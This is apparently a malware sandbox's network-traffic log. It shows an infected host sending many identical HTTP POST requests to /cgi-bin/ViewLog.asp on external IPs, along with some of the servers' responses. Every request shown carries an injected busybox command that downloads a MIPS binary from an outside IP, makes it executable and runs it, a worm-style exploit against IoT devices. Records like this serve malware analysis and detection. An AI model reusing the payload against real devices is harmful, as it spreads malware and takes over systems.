Nov 23, 2023 05:18:12.128515005 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.13	45196	31.200.41.20	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.132364035 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.13	32988	31.136.132.137	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.253679037 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:15.462268114 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:21.606154919 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.13	33338	94.122.68.164	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.293004036 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.13	54956	94.122.215.32	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.293211937 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.13	40908	85.206.56.81	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.325114012 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.510154963 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.886159897 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.766191006 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.13	52252	94.121.29.164	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.326513052 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.13	56218	95.210.96.231	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.696844101 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.13	54230	62.202.153.22	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.706203938 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.13	42524	95.143.177.66	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.709144115 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.13	60202	95.216.170.199	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.713593960 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.912447929 CET	1340	IN	HTTP/1.1 500 Server Error Date: Thu, 23 Nov 2023 04:18:12 GMT X-Content-Type-Options: nosniff Content-Type: text/html;charset=utf-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache,no-store,must-revalidate X-Hudson-Theme: default Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Set-Cookie: JSESSIONID.2c4544f9=node0191a36t7nyaac1uhoaws10rsb180907.node0; Path=/; HttpOnly X-Hudson: 1.395 X-Jenkins: 2.342 X-Jenkins-Session: 7bfa6bdd X-Frame-Options: sameorigin Content-Encoding: gzip X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAgJJ5uycmyD26idCnS6EcdBeUbD5NqIM1zKgCCaBmbDUp2KocYsN/vVKN7vc/Xbq6DvzW2LcMVeq6i4ljPnHAx9zc0g7J4em3QJiOF7N5Dsn6qaNUV5leQypDTamedVD+szQOjmJw1d+K+bMzo9gGu9RClnr3dRz1NaDIRpy0fwrzB/VLDi+VxjthLAOIkmwpBxifWYHckqj7GP9pR5oLN3EQIQpcrLWqPpvE4ybU4OaP9wG+tVaCtmYPSvSkgFZ7Qo0pgdpX9vhVLCiYBdoj4/lsRnf4Pqv+tBsNVfDCVPuigZGgUA5QM4JV0YsSoje6e9sJfGEZAPx2dgOSrSGWRwIDAQAB Content-Length: 2178 Connection: close Server: Jetty(9.4.45.v20220203) Data Raw: 1f 8b 08 00 00 00 00 00 00 ff b5 59 5b 8f e3 b6 15 7e cf af 60 54 14 db 00 a1 ee 96 e5 8d ed 62 6f 41 37 98 66 82 9d ed 0d 45 31 a0 24 da e2 8c 24 2a 24 e5 99 c9 53 d2 a7 fe 8a a2 40 ff c0 a6 2f dd ee c3 2e d0 5f e0 f9 47 3d a4 24 5f 66 3d b7 f5 f4 c1 14 45 1e 1e 1e 9e 1b bf 23 7f 86 d0 67 08 8d 3f 7f 7e f8 ec f5 9f be 7b 81 72 55 16 d3 b1 6e 51 5a 10 29 27 96 05 af 94 64 48 50 f9 bb 57 07 13 cb 91 8a 28 96 3a c3 64 46 a2 24 cb 2c 94 11 45 b0 e0 5c 35 a2 00 fa ee 9d 4a f3 7a 0d 39 3d 57 b4 92 8c 57 12 93 05 61 05 49 0a 3a b1 94 68 68 47 d0 54 4c 61 45 a5 9a 58 33 52 c8 7e 98 95 64 7e 0d 67 a7 9d eb 08 53 d1 94 09 d6 92 53 31 b1 be a1 d5 29 83 bd 9e e9 d1 2d 8a 05 29 1a d8 39 1b c4 61 90 06 5e 10 47 23 9f 50 3a 8a a2 78 e8 ba 2e 8d a2 d9 c8 4f 3d e8 25 b3 34 a6 71 94 84 33 77 Data Ascii: Y[~`TboA7fE1$$*$S@/._G=$_f=E#g?~{rUnQZ)'dHPW(:dF$,E\5Jz9=WWaI:hhGTLaEX3R~d~gSS1)-)9a^G#P:x.O=%4q3w

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.13	50874	85.122.216.64	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.729274035 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.13	42224	95.87.82.230	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.791899920 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.067183018 CET	417	IN	HTTP/1.1 400 Bad Request Date: Fri, 21 Nov 2014 00:34:43 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Content-encoding: gzip Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.13	57204	94.44.155.192	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.943633080 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.169836998 CET	396	IN	HTTP/1.1 501 Not Implemented Cache-Control: no-store Connection: close Content-Length: 137 Date: Thu, 23 Nov 2023 04:18:12 GMT Expires: 0 Pragma: no-cache X-Frame-Options: sameorigin Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.13	42904	62.210.102.244	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.971728086 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.147351980 CET	261	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 23 Nov 2023 04:18:13 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.13	47786	94.25.216.117	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:13.236562967 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.13	60740	95.183.64.144	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:13.283616066 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 